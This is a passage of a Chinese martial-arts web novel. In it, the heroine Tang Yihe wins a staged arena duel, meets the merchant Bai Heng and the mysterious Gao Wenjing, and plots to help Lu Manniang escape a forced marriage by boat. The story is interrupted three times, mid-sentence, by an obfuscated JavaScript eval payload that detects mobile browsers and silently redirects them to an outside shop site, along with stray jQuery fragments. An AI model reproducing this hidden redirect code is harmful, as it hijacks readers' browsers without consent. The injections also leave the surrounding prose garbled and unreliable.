对面“赤焰”递过来的招数,想什么是什么,要什么来什么,比师弟的喂招都顺溜。别看他外表气势冷峻,骨头梆硬的,怎么一交上手,全使些花里胡哨、华而不实的剑招。唐一禾试探着收了三分力,发觉对方也收了三分力,再加上一分,对方也加上了一分。 哦,原来如此,这个“赤焰”竟是庄家请来的助拳,他正用现在的表现告诉唐一禾——这场比赛结果已经不重要了,庄家要的是场面上的好看,以及茶余饭后的谈资。 那可真是找对人了!虽然她会的招式不多,但灵蟒鞭法算是很能拿得出手了! 唐一禾心领神会的鞭法一转,使出“九龙戏凤”,只见鞭影如龙,在空中划出道道优美弧线,仿佛灵蛇出洞,又似游龙戏水。鞭梢轻点,黄铜小球发出簌簌轻声,时而盘旋,时而直击,带着凤舞九天的轻盈。要不是那个胖娃娃的面具实在不搭,可是称得上一句“鞭影如画,舞者如仙”。 “赤焰”也很知情达意,配合着演了一场英姿勃发的剑舞,但见“霍如羿射九日落,矫如群帝骖龙翔。来如雷霆收震怒,罢如江海凝清光。” 最后见火候差不多了,两人分别使出最华丽的招数——“凤舞九天”和“天外飞仙”,一鞭一剑宿命般相交于擂台中央,距离之近,唐一禾甚至能闻到赤焰身上淡淡的薰香。然后两人心领神会的运劲相抵,互相往后翻出,唐一禾堪堪站在擂台边缘,赤焰则不着痕迹地向后踉跄两步,跌下擂台。 赤焰站稳收剑,抱拳道“佩服”,随即转身往外走去。 司正大声宣布:“夏至季赛,第一名,神锋无影。” 掌声如潮,瞬间席卷整个会场。观众们纷纷起身,挥舞着手臂,欢呼声、呐喊声交织在一起,形成一股无形的热浪,让唐一禾都有点眩晕。 “太好看了,啊啊啊啊。” “太精彩了,人怎么可以这么潇洒□□。” “嗷嗷嗷嗷,神锋就是最叼的。” “神功无敌锋芒露,打得对手无影踪。” “不好不好,看我这句,鞭光如电破长空,无影无形势如虹。” “好想看看神锋长什么样啊,虽然身材瘦弱了些。” “可能满脸麻子。” “那也比你这个只会耍嘴皮子的强一万倍。” …… 唐一禾领了获胜银票,仔细地揣好,正待去找师弟,却见一个中年胖子毕恭毕敬的站在门口,正是之前的庄家来人。 “恭喜神锋无影少侠,一路过关斩将,摘得季赛头名。按照惯例,我们东家已备下薄酒一席,有请神锋无影少侠前往一叙,另有要事相商。” 中年胖子见唐一禾略有迟疑,马上递过一个装满珍贵药材的盒子,笑着说:“少侠不必踌躇,是好事呢,‘无名’少侠已经在那边等着了。” 唐一禾点点头,伸手接过盒子,毕竟没有人能拒绝拳头大的红花、三指粗的人参以及长成圆盘如意的灵芝。她跟着中年胖子往外走,穿过几道门,再拐过很短的一条街巷,往上爬了的几段不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522926|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短的楼梯,就踏入了一间面朝锦江的宽敞大厅。 唐一禾一眼看到大厅一旁默默站立的师弟,带着夜叉的面具略显局促,见到唐一禾后身体才明显松了一点。唐一禾朝师弟点点头,一边往里走,一边打量着屋里为数不多的几个人。 主座上是个气宇轩昂的中年人,旁边站着的是今夜第一场的那个小白脸,后面立着的是一个老者,气息敛得极低但危险性很强,应该是个暗卫。 还有一个人凭栏而立,眺望江上,听到有人进来才转过身来。 啊?怎么是他?竟然是唐一禾二人第一天来罗城,在“白记”绸缎庄帮唐烈风解围的那个少年。不,应该说青年更准确一点,当日匆匆一见,唐一禾惊惶中也看不真切,只觉得气度高华,冷冽如冰。今日再看,浑身上下更多了一分和煦泰然,春风拂面。 难怪唐烈风到现在也没摘下面具,而且手脚都不知道该往哪放了,想必是认出了这个青年,担心“误闯象馆”的黑料被揭发。唐一禾暗自好笑,当日你穿成那样,还戴个狐狸面具,只要咬死不认,谁能知道是你? “神锋,不,唐一禾,你一进门盯着‘赤焰’看个不停,是要做什么?”一个讥诮的男声响起,让唐一禾内心巨震,循声望去,竟然是小白脸! 他知道自己的真实身份?什么时候知道的?怎么知道的?还有,那个帅哥是“赤焰”?“赤焰”不应该是助拳的老师傅吗?怎么会这么年轻帅气?…… 唐一禾脑瓜子嗡嗡的,全是数不清的问号,她强行让自己冷静下来,还好脸上的面具没摘,不至于被人叫破身份、以及点破心思后显得太尴尬:“嗯,原来你们这一伙,也不全是小白脸嘛。” “你说谁是小白脸?”唐楚玉气不打一处来,本来输了擂台就不服气,这神锋,不,这一跟稻谷,怎么走到哪,支棱到哪? “楚玉,休得无礼。”白珩真是拿这个宝贝外孙没办法,只得他来陪笑脸、打圆场,“都是唐门弟子一家人,老夫白珩,拳庄的庄主,明面上也有些生意,‘白记’商行几十年经营下来,也算是有点名气。” 白珩招呼唐一禾、唐烈风二人坐下,马上有人奉上香茗,白珩指着唐楚玉笑骂道:“这个不成器的,是我的外孙唐楚玉,林足楚、翡翠玉,唐门制部内门弟子。就是他,看了神锋你的擂台赛,心痒难耐,非要自己上去打一场,结果被好好教育了一翻。” 看到唐楚玉不情不愿地挨着唐一禾坐下,白珩微笑着又说:“也不是没有收获,楚玉下来就跟我表示要好好练功,不能再输给经部的小师妹了。他还认出鞭子顶端的黄铜小球,还是经部大师兄在我们‘白记’定制的呢。” 唐一禾心下恍然,原来还有这一出! 刚刚她揣摩身份暴露的原因不外乎两点,一是被小白脸在擂台赛发现是女子,二是《筋经》的武功,原来还有黄铜小球的佐证。 只见白珩又指着“赤焰”说:“那个是高文璟,文武双全玉石景,也是制部的内门弟子,化名‘赤焰’跟二位都交过手,两位经部的小友,不妨摘了面具,交个朋友,把酒言欢可好?” 这一番话下来,算是把所有的问题都解释得透透的,而且不多不少地展示了实力,表明了诚意。唐一禾依摘下面具,唐烈风见到师姐的动作,也随即摘下了面具。面具下是黑乎乎的两张脸,惊得唐楚玉嘀咕了一句:“怎么这么黑?” 唐一禾白了他一眼:“确实不如你肤浅。” 看到唐楚玉被噎住又发作不得的样子,白珩和高文璟都暗自发笑,唐小少爷也有今天,总算遇到个嘴上功夫了得、能跟他抬杠的人了。 唐一禾带着师弟起身,鞠躬行礼:“唐门经部弟子,唐一禾、唐烈风,见过白老爷。向唐师兄、高师兄问好。” “免礼。”三人还礼。 “你这个鬓角,是不是还有胶?”唐楚玉收了礼数,马上凑过去看唐一禾的脸。 “确实是简单易容了一下。”唐一禾嫌弃地看了一眼唐楚玉,“既然明言坦诚相见,那就烦请白老爷请人备点热水皂巾。” 顶着黑脸络腮胡的唐一禾,又扫了一眼白珩身后的老者,平静地说:“我跟师弟初来乍到,屡被跟踪,想着还是小心为上。” “唐姑娘果然兰心蕙质,心细如发。”白珩笑着打了圆场,也并未点破,只是吩咐起菜上酒。 唐楚玉丝毫不以为意,甚至不避嫌地紧紧盯着唐一禾,看她一下一下擦掉脸上的装饰,露出了本来面目。 嗯,清淡的一张脸,还带着些稚气,算是个伶俐的丫头吧。本来还想讥讽两句唐一禾没见过美色,进门只晓得盯着文璟看,待看清唐烈风长相后,唐楚玉决定不再言语,心道真是见了鬼了,这等容色,搁哪家象馆都是头牌。 然后唐楚玉一时间都自怜自艾起来,本来觉得自己形貌英俊,结果左一个高文璟,右一个唐烈风,哪个都…… 哎哎哎,不想也罢,至少自己占了一个白。 呸呸呸,去他娘的小白脸。 12. 再生变故 在白珩的热情款待、唐一禾的主动配合以及唐楚玉的插科打诨下,一顿饭倒是吃得宾主尽欢。尤其高文璟世家子弟,各种场合应付自如,主动将话题引到武学修炼上,让一向寡言的唐烈风都放下玉箸,主动与之攀谈起来。 酒足饭饱后,唐一禾起身礼貌作别,毕竟头回登门为客,应该适时而退,方为雅道。见状,唐楚玉竟有些不舍,他今晚抬杠发挥不佳,被唐一禾怼了好多次,已经打好了腹稿话术,准备饭后找回场子,结果这小泥鳅要走。 “你们要不就住这逍遥楼呗,明日我带你们锦江上泛舟,青羊宫求签,摩崖山礼佛,百花潭赏花,要是喜欢看戏牌九、斗鸡走狗或是邀美人在侧,我都熟得很,包在我身上。”唐楚玉留客的诚意很足。 “唐师兄,这可是你说得哦。”唐一禾笑眯眯地说,“我可是都记下了哦,回头定要一项一项找你兑现,你可不能赖账的哟。” “那是自然。”唐楚玉觉得自己又行了。 “不过此次来罗城,师妹确有要事在身。”唐一禾话头一转,继续请辞,“感谢白家老爷的热情款待,我跟师弟自有落脚之处。再说五日后就是唐门令的限期了,届时我们与唐师兄、高师兄唐家堡见。” 看着唐一禾二人离开的背影,先开口的竟然是高文璟:“唐烈风事事听她师姐的,二人以唐一禾为首。” “不错,女主事、男跟随,倒是少见。”白珩点点头,颇有深意地看了唐楚玉一眼,“这个唐一禾倒挺称老夫心意的,健谈而不轻浮,精明而不油滑,可以一交。” 唐楚玉嬉皮笑脸上前,单手搂住白珩肩膀:“区区乡野丫头,我唐小公子出马,那不是十个指头抓田螺,稳得一匹。” “我怎么觉得,那丫头更喜欢瞧文璟呢?”白珩在戳人肺管子方面,也很有心得,“她不是说你是小白脸吗?” “那是擂台上我失了礼,让她见怪了。”唐楚玉急了,“等看到了我的诚意,她不是跟我相谈甚欢的嘛。” “她可能只是想蹭免费的饭,搭免费的车,请免费的向导,宰免费的冤大头。”高文璟不说话则已,一说话真的能让唐楚玉彻底破防。 …… 月光下,唐一禾一边快速地走,一边语速极快地跟师弟叨叨:“吃的山珍海味,住的金碧辉煌,生意做得这么大,一点实惠的都没有。白老爷子是个笑面虎,还有那个小白脸,净在那儿给我画大饼,哼。” “说出来的话,可能都是真的,但那没说的,才是重点呢。我就不信高文璟那等功力气度,能是一个普通的制部弟子?功夫不纯又存心遮掩,肯定是外面势力安插,奔着唐门令来的。” “放心吧,西域神象馆的事你不说我不说,永远烂在肚里。你说唐司南树大招风的,那么多双眼睛盯着,他还有闲心娶那么多姨太太?” “还有,老祖这到底要干嘛呢?我是一点都不想参加什么唐门令,我只想找到大师兄。” “对了,那个高文璟,我跟他打是做样子,烈风你是真打不过吗?” 唐烈风一直静静地听师姐说话,也是这么多年的习惯使然,直到这里他才轻轻地“嗯”了一声:“他本门功夫太强了,我现在确实打不过。” “那再过个一年半载,就可以打得过了。”唐一禾给师弟打气,“不过,他确实跟其他人,不太一样。” “怎么个不一样?”唐烈风这次接话头接得很快。 唐一禾想了好一会,也没准确描述出那种压迫感,于是反手将问题甩给对方,“我吃饭时净跟小白脸打机锋了,都没跟他说上几句话。你不是跟他一直在聊吗?难道你没有感觉吗?” “难道不是因为,他长得好看?”唐烈风的回答很是角度清奇。 “他没你好看啊!”唐一禾诧异地看了一眼唐烈风,“他长得太锋利了,从女子的角度看,还不如小白脸好看,气质又冷,仿佛别人欠他钱一样。” 唐烈风轻抿嘴角,把自己对高文璟“坦荡磊落,言谈有度,温文尔雅,从容不迫”的评语吞下肚里,不再言语。 二人边走边说,很快走到了怀贞坊的万安药铺,君白术已经在此等候多时了。 “哎哟喂,你们可算是回来了,庄家砸了多少银子拉拢你们呀?”君白术挑着眉毛,一脸看好戏的表情。 “一个铜板子都没有。”唐一禾没好气地把药盒往君白术怀里一塞,然后四仰八叉地瘫躺在软榻上。 “哎哟哟,一个姑娘家,举止怎么这般粗野。”君白术一边打开药盒,一边吐槽上瘾,“啧啧,这可是千金难买的大手笔,给你都炖了喝吧,你气血足了,该长的自然就长好了。” 唐一禾目光不善的看向君白术:“跟另一个小白脸抬了一晚上杠,人家有大人在,不好动手,打你这小白脸,我倒是不介意试试。” 君白术马上放下药盒,高举双手:“别别别,女侠别动粗,医者父母心,绝无他意。” 看到一旁笑得粲然的唐烈风,君白术一把拽过他的手腕,细致地切了一回脉后,才有些放心地说,“你师姐还能动手,可见是没半点伤,你就未必了,擂台上你的那场,抵得上她两场。嗯,是有一点轻微脏腑震荡,喝上三副药吧。” 君白术二话不说掏出纸笔,龙飞凤舞地开了方子,让药童拿去捡药先煎上。 唐烈风现在已经习惯君白术见面先拿脉的做派,毕竟也是真的管用,勉为其难开了笑颜道:“一百两诊金,你问师姐要。” 君白术摇晃着食指说:“你笑起来很好看,今天我也开心,义诊,不收银子。” 唐一禾一骨碌爬起来,朝君白术伸出手腕,笑得那叫一个春风拂面:“神医,帮我也瞧一瞧。” “你笑得太假太丑,给钱都不看。”君白术傲娇地扭过头,却伸出了另一只手,粗粗往唐一禾手腕上一搭。 “左手切脉,是不是免费?”唐一禾保持住灿烂微笑。 “神仙也怕左手,我左手拿得更准,诊金二百两。”君白术坚决不看唐一禾的脸,“真给你补补,不开玩笑,你这长得,也太细弱了。” “你才细弱,你全家都细弱。”唐一禾抽出手,反手把君白术剪背,摁倒在塌子上,“你今天擂台押了我吧,两场应该赢了不少钱,还敢问我要二百两,真是人心不足蛇吞象。” “我没压你赢,我压的烈风赢,我还输了一千两。”君白术的坦诚,换来唐一禾的发力,只听他哭爹喊娘地大叫起来。 唐烈风赶紧上前拉架,君白术趁机脱开钳制,躲到唐烈风身后还不忘出言挑衅:“你那两场都胜之不武,一场被人识破女儿身,一场被人让海了去,难道不是吗?” “你再说一句试试?”唐一禾的威胁,毫无威胁。 君白术反而更加得意,“现在你恼羞成怒,把气撒在我身上,还好意思怨我不给你押注?” 君白术还待跟唐一禾继续玩闹,一碰上唐烈风警告的眼神,立刻识相,开始道歉:“好了好了,不闹了,小禾苗对不起,我就是嫉妒心作祟,眼见着你们越来越厉害,怕你们以后不带我玩儿了。” 唐一禾本来也只是虚张声势,完全没有生气,刚想说你怎么这么快认怂,却听君白术说起了正经事:“那个广通镖局的凶手,我可能有点眉目了。” “什么情况?”唐一禾立马来了精神。 君白术说到正事儿,完全没有了之前那副黏糊样儿,语气非常之正经:“是前面那条街的一个浪子,叫熊阔的,人如其名,高大威猛,又有祖上传下来的通背拳,平日里无人敢惹。大概五六日前,过来看诊,说浑身痒,可能是身上的脏病发作了。” 君白术看出了两双清澈眼睛里的疑惑,叹了一口气解释道:“就是花柳病,比较严重的也会浑身痒,所以当时我也没当回事。见他舌苔脉象也正常,我就给他抓了几副药吃,但他反复说很痒,一副燥怒的样子,我就给他扎了一套针法,封了他一半的感应,打发他走人。” “前两日他又来了,正好我不在,是曹大夫接的诊。”君白术秀气的眉毛挑了起来,“说他当日奇痒加剧,无法缓解,砸了半边药柜,好说歹说才拎着药,怒气冲冲地走了。” “是今日又来了吗?”唐一禾追问。 君白术点点头说,“晌午后来的,见得是我坐诊,一把鼻涕一把眼泪地让我帮他,说实在是太痒了,抓心挠肝的痒。我给他切了脉,脉象已经能看出是中了毒,我也怕他闹事,扎完针后给下了猛药,让他回去喝完先躺个两天。” 看到唐一禾朝他竖起了大拇指,君白术便微笑起来:“不确定是不是你们要找的人,可以带你们过去看下,就在前面那条街上,现在人应该睡得人事不知了。” 唐一禾连忙点头,跟着君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522927|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白术出了门,然后从天井处翻进了熊阔的屋宅。果然如君白术所料,熊阔昏沉沉地睡在里屋,堂前屋后乱糟糟的,到处都是一个单身糙汉的生活痕迹。走进里屋,扑面而来的各种臭气混合,熏得唐一禾差点背过气去,连腰间装碧螣的竹筒都颤动起来,无疑就是要找的那条漏网之鱼——那个仅存的广通镖局灭门案的死士。 待回到万安药铺,唐一禾才大口呼吸:“真的是臭男人,太臭了,太臭了。” “我跟烈风就不臭。”君白术非常自信地争辩。 这说的倒是真话。 唐烈风身为经部弟子,谨遵饮食节制的规训,比唐一禾吃的还清淡,再加上作息规律,管理严格,以唐一禾的狗鼻子,都问不到半点异味。君白术就更夸张了,浑身上下一尘不染,连手指甲缝里都是干净清爽的,周身更是萦绕着一种好闻的药气,唐一禾闻了好久都分辨不出,到底是哪几味药的混合。 经过短暂的商讨,三人觉得还是不要沾手——直接把这份大礼送给唐司南比较好。为了保险起见,唐一禾亲自跑了一趟老陆府邸,小心避开了各个暗哨,把这个好消息告诉了老陆,并让老陆这几天有事,可派人去万安药铺找她。 老陆的动作很快,第二天晚上就派人捎来了口信。原来唐司南的动作更快,熊阔受不住刑已经招了,人证物证俱全,就连衙门里的人都打点好了,官府已经派人去捉拿唐大贵,并派幕僚前去器部,与阁主唐至雄对质商榷——反正明日肯定会有个结果,就看各方能不能满意。 一切都在唐一禾的意料之中。这么大的案子,唐少阁主要洗刷污名,必然要有个交代,就看揪出的这只替罪羊,能不能背得动这么大一口锅。 这两日唐一禾屁颠屁颠跟着君白术出诊,真心实意且不带重样地大夸特夸,让君白术耳朵尖间歇性红了两天。同时唐一禾还见缝插针地请教,都是前一日冥思苦想列好的问题清单,从药理到施治,从药材到方剂等不一而论,被夸上天的君白术当然愿意指点迷津,二人之间的关系火速升温。 第三日晚上,老陆来了,带来了一个好消息和一个坏消息。 好消息是广通镖局的案子已经结了,主犯唐大贵认罪并于狱中自尽,从犯几乎全部缉拿归案,除了小彩仙跑得快,当然也可能是衙役不愿意徒增伤亡。至于大家心知肚明的主谋唐司泽,也就是器部的大师兄,自然是丢卒保车,没有直接受牵连。但总算是洗刷了唐司南的冤枉,给了陆曼娘一个交代。 坏消息是,唐司南仍不愿放手,要强取陆曼娘。 “什么?”唐一禾跳了起来,“这不是趁人之危吗?陆曼娘能同意?” 老陆苦笑:“曼娘自然不同意,但现在形势比人强,缉凶一事,唐少阁主出力甚多……” “本来就是那孙子引起的啊!”唐一禾气得大叫,“人是我们救的,线索是我们找的,状纸是老陆你跟陆家叔伯递的,他打个嘴炮,算个逑出力。” 唐烈风拉住气得跳脚的师姐,示意老陆继续说,君白术则一手摁太冲,一手掐内关,帮唐一禾顺气消火。 老陆苦笑,摇摇头继续说:“唐司南他可不这么想,一面加派了人手,将我家围得铁桶一般,另一头也不知怎么,说通了曼娘她二叔,同意将曼娘嫁过去当平妻。现在曼娘哪里也去不了,也没有半分依靠,只能在我家等着嫁衣上身。” “老陆你直说,你打算怎么办。”唐一禾眼睛都红了,她最恨的就是这种强迫妇女的虎狼行径,“有朝一日,我定要阉了唐司南这龟孙子。” “我帮你。”唐烈风的表态,将这句气话变成了计划。 “我指导。”君白术的加入,提升了计划的实操性。 “敌强我弱,无法硬拼。”老陆深深地抹了一把脸,强打起精神说:“如今之际,只能悄悄将曼娘送走。好在曼娘三叔愿意私底下牵条线,他媳妇娘家子侄在江东谋了个差事,那边远离战事,是个富饶之地。她三叔也怕担风险,只说倘若能偷偷成行,他可以亲自送她去江东,但现在问题重重难以成行,所以才来找你们商量。” “出力算我一份,”君白术很是义气。 “谢了。”唐一禾轻声说。 “不客气,总不能只许你们当正义侠士,我当缩头乌龟吧。” 唐一禾第一次觉得君白术细眉细眼的脸上,发出了正道的光。 13.柳暗花明 放狠话容易,行事难。 讨论起如何出力时,摆在面前的三个问题,如同三座大山,让人无从下手。 第一个问题是,由于唐司南知道上次陆曼娘脱险,是得两位江湖义士的出手相助,所以这次下了血本,不仅抽调人手将老陆家外面团团围住,更指派了两位制部内门的女弟子,贴身保护兼监视陆曼娘。 制部的弟子训练有素,非乌合之众能比,彼此之间更有暗号、示警联络。这样一来,想要悄无声息的把陆曼娘带走,就变得极其困难了。 好在是结亲,唐司南也不好把事情做绝,除了陆曼娘,其他人倒是可以正常出入,提供的衣食住行都是最好的,各种珠宝首饰更是流水般往屋里送。唐司南的核心要求只有一个——就是在唐门令限期日之前,要陆曼娘过门。 当唐一禾问清楚门前屋后蹲守的人数,还只是老陆能察觉的,相当于明面上的人数后,就放弃了用毒的想法。再问清保护陆曼娘的两位女弟子,是精挑细选的内门顶尖弟子,内功深厚可能不在她之下,又放弃了单枪匹马摸进去,干翻二人的想法。 这可怎么办? “我倒是有一个主意。”君白术突然说,“能不能让我见一见陆曼娘?” “你见陆曼娘做什么?”老陆不解地问。 “我会易容之术,只要让我仔细看过一个人,应该可以做出模子来。”君白术自信满满。 唐一禾惊讶:“你不是个大夫吗?现在大夫还要会这个?” “那倒不是。”君白术语气平静,脸色淡然,“我非医药世家出身,学医之路坎坷,始终只得皮毛。后得一隐士高人倾囊相授,方有大成,这易容之术,也是那位高人教的。” “那你一定是天资极其出色,才能蒙高人慧眼识珠。”唐一禾听出了君白术并不愿意多说过往,笑着拍了拍他的肩膀,“千里马常有,而伯乐非常有,你能碰到那位高人,说明你上辈子一定积了德,这辈子才会这么幸运。” 君白术微微一笑,深深地看了一眼唐一禾,才继续说道:“我可以将一禾易容成陆曼娘的样子,然后借上门看诊的由头,把她二次乔装带进去,来个偷梁换柱。之后一禾可以闹出点动静来,我再将乔装后的陆曼娘,神不知鬼不觉地带出来。” “这倒是个好主意,不用见刀见血。”唐一禾听了跃跃欲试,“唯一的问题就是,你的易容术真的能够瞒天过海吗?我好想瞧瞧看。” “哼。”君白术只用了一个鼻音,做出了最肯定的答复。 “师姐不会有危险吧?”唐烈风有点担心地问。 “应该不会。”老陆很相信自己的眼光,“一禾见机快,轻功又好,那两个女弟子总有换班犯困的时候,我再照应一下,等她除去易容后,自然就能脱得了身。” 第一个问题迎刃而解后,第二个问题又摆在了眼前——如何安全地将陆曼娘送走? 这点倒是很快达成共识,走水路。 蜀地多山,道路艰险,三叔带着陆曼娘一个病娇女子,车马劳顿自不必说,陆曼娘又是那般容貌,打尖投宿容易引人侧目,过关口还要查路引,稍有不慎就会被察觉盯上,只怕还没出蜀地,就会被追踪拦截。 走水路相对快速安全得多,从北市码头上船,经岷江到戎州,再沿长江顺流而下,不出一日就能过三峡至峡州。自此无论继续走水路还是换乘陆路,已经是鸟入山林,鱼潜海底,彻底远走高飞了。 所以现在需要找到一条船,最好能有官府的船引,不仅安全,还能避开唐司南的人搜寻盘查,要知道,蜀地漕运将近六层都在唐门手里。对此老陆、君白术均表示力有不逮,只能明日让人私下问问,毕竟要上这样的船,需要打点的关节就太多了,就算是有,一两日之间也很难走通。 唐一禾左思右想,让老陆不要有任何动作,他现在的任何举动,都会在事后被一一追查到。君白术也不要分心,先紧着易容术的事儿,她可以明日去找一趟白老爷子,试试“季赛第一名”的薄面,能有几分颜色和重量。 老陆惊讶地问:“可是‘白记’商号的白珩白老爷?” 唐一禾点点头:“他很有名气?” “你是如何结识他的?他现在是在罗城?”老陆有些吃惊。 “他是拳庄的东家,前日晚上邀请我跟烈风一起吃饭了。”唐一禾不明所以地回答。 “原来如此,好好,东家宴请,那是自然。”老陆一晚上眉头紧锁的脸上,终于露出了一丝喜色,“‘白记’商号的船,每天数十条在岷江上走,只要他肯通融,就没有任何问题了。那‘白记’商号生意做得极大,在全国都有分号,有钱开道自然是黑白通吃,手眼通天。我是真没想到,这会白老爷竟然也在罗城。” 说到钱,就来到第三个问题——陆曼娘她需要钱。 如果仅是路费,自然好说,老陆、三叔、哪怕唐一禾都能拿出来,但之后陆曼娘的生活,总不能一直寄人篱下、仰人鼻息吧。据老陆说,陆曼娘现在手里一大堆珠宝首饰,没有半分银子。广通镖局中属于陆曼娘的那份,都在唐司南的授意下,由陆曼娘的二叔把持,说是等陆曼娘嫁过去后,再一并分割。 四人商量的结果很直接,就是从陆曼娘二叔手中,拿回本该属于陆曼娘的东西,于是这个光荣而艰巨的任务,落到了唐烈风的头上。总共三个问题,君白术易容,唐一禾找船,唐烈风武功最高,正适合干这个。 大问题解决后,四人又密谋了半宿,敲定了各种细节,天一亮就各自分头行动了。 君白术这边,先是让老陆带给陆曼娘一瓶膏药,让她擦在手脸脖颈上,不出半个时辰,就会长出来密密麻麻的红疹子。这样的新嫁娘如何得行?肯定是十万火急地找大夫了。 “我弄出来的毒疹,别的大夫如何能解,自然是要找我这个声名在外,最善祛毒止痒的神医了,哼哼。”君白术胸有成足地说。他让老陆先找别的大夫看,等到下午再来请他,因为他上午还得准备易容需要的各种材料,以及熬煮胶质、调配颜料。 唐烈风那边,按照老陆给的地图位置,上午先行踩点勘查了一番,回来从怀里掏出一副钢爪、两把匕首和一根撬棍,另找君白术要了磨刀石,一言不发地开始磨,惹得君白术一会过去看看锅里正煮着的材料,一会过来看看唐烈风磨刀,然后充满期待地问:“你是打算开门见山地去要挟?还是打算趁夜黑风高进去偷?” “我打算把他们全杀了。”唐烈风冷冷地说。 君白术打了个寒颤,连忙借口锅里的胶要熬糊了,急匆匆地跑了。 唐一禾这边,因为是找人洽谈,不宜过早,她先是睡饱了觉,又简单易了容,才慢悠悠地溜达到逍遥楼附近,在一旁的小摊上要了碗小面,跍到街沿边上边看边嗦。真是有钱人啊,眼前这栋逍遥楼,飞檐翘角,雕梁画栋,白日里看也是云窗雾阁,重檐歇山,太有气派了。 正嗦得兴起,一个熟悉的人影从楼中阔步而出。 咦?那不是高文璟吗?唐一禾放下手中的碗,朝高文璟挥手喊:“文璟,文璟师兄。”本没有那么熟,但为了拉近关系,唐一禾也豁出去了。 高文璟脚步一顿,转过头来,看到男装打扮的唐一禾,先是愣了一下,不过很快就认了出来:“是一禾师,弟啊,这里的面条好吃吗?” “好吃的呢。”唐一禾笑着回答,不过看到高文璟的嘴角微微上翘,目光有意无意地落在她的嘴角,赶紧掏出帕子擦了擦嘴,“哎哎,那怎么好意思呢。” 原来是文璟师兄已经在帮她付账了,这也太有眼力架了,估计也不会是什么有钱人,得了便宜还卖乖的唐某人腹诽。 “有事来找白家阿公?”高文璟伫足一旁,看向唐一禾。 唐一禾心里是有点怵他的,帅是帅的,但面相太冷,不易接近。不过此时的高文璟温和有礼,又不过分热情,脸上凌厉的线条似乎都柔和了,让唐一禾觉得可以攀攀关系:“确实有点事儿,要叨扰一下白老爷。” “白家阿公和楚玉有点事儿,这两天不在罗城。”高文璟看出唐一禾眼中的失望,“不嫌弃的话,也可以跟我说一下,力所能及的,当出一份力,力所不及的,也可以借一下白家的光。” “这个,嗯,合适吗?”唐一禾嗫嚅,她跟“赤焰”可没什么交情,也就打过一场擂台,还是场表演赛,吃过一次饭,还没说上几句话,况且他的身份成谜,贸然开口请人帮忙,显得有点草率了。不过想到“西域神象馆”一事,他能仗义出手救人,人品差不了,倒是可以冲。 高文璟看出了唐一禾的迟疑,如墨眼眸迸发亮光,探身耳语道:“我非唐门弟子,你跟烈风师弟心知肚明。要不这样,我要能帮上这个忙,你们就帮我守口如瓶。” 清淡悠远的熏香一下萦绕在鼻尖,唐一禾脑海中的第一个念头竟然是——这个香一定很贵,且让我好好闻一下。唐一禾下意识没躲开,也不知道应了没应,只听高文璟的声音在耳边继续,“借一步说话,请随我来。” 不知不觉地跟着他走进逍遥楼,步入一间雅舍,听着他屏退下人,关闭门窗,唐一禾才恍然意识到,怎么就同意找高文璟帮忙了?!!! 身为唐门经部的代阁主,唐一禾确认自己没有被下药,也没有被蛊惑,现在她神志清醒得很,所以只能给这种失智行为辩解——实在是走投无路,权当赌一把吧。 “我想找白老爷借条船,帮我送个人出蜀地。”唐一禾直奔主题。 “什么时候?去哪里?几个人?”高文璟更没有绕弯子。 “明天晚上,去峡州,两个人。”唐一禾又补充了一句,“不能吐露身份,也不能让官府或者任何人知道。” “这是自然,不然还需要来找白家吗?”高文璟很上道地回应,“可以,明天晚上我有一条船正好要去嘉州,用的是皇商的船引,停靠两日后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527299|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再过戎州入长江,顺流而下直至扬州。可以让船老大在峡州暂做停留,让你的两位朋友下船。” “能去扬州更好啊!”唐一禾心道,直达不比转运强,于是进一步确认,“真的可以直接上船吗?不会有什么盘问、出什么纰漏吧?” “稍等。”高文璟打开门,唤了一个人过来,低声交谈了几句,然后返身回来,笃定地说:“明日晚间,北市码头第二水道,船尾挂着两只黄色灯笼的商船,你朋友过去后自有人接应,暗号“不去峡州”,人到了就开船。只要没有盯梢,上得船后自可放心,一定平安送至扬州。” 唐一禾惊喜地说:“太好了,你真的人帅心善,做事可靠,还……” “等你朋友到了扬州,你再夸我也不迟。”高文璟笑着打断了唐一禾的夸赞。 “事不宜迟,我得马上回去通个气。”唐一禾拱手作别,拔腿就要跑,“原以为最大的难题,竟然解决得最顺利。” “如果信得过我,不妨润润嗓子,把别的难题也一并说了。”高文璟递过一杯刚斟好的香茗。 唐一禾这次没有犹豫太久:“送的是陆曼娘和他三叔。” 毕竟人都在他的船上了,事后高文璟他不可能不知道送的人是谁。 高文璟明显怔了一怔,略作思索后,一针见血地说:“只怕不好把人,从老陆头那里弄出来。” 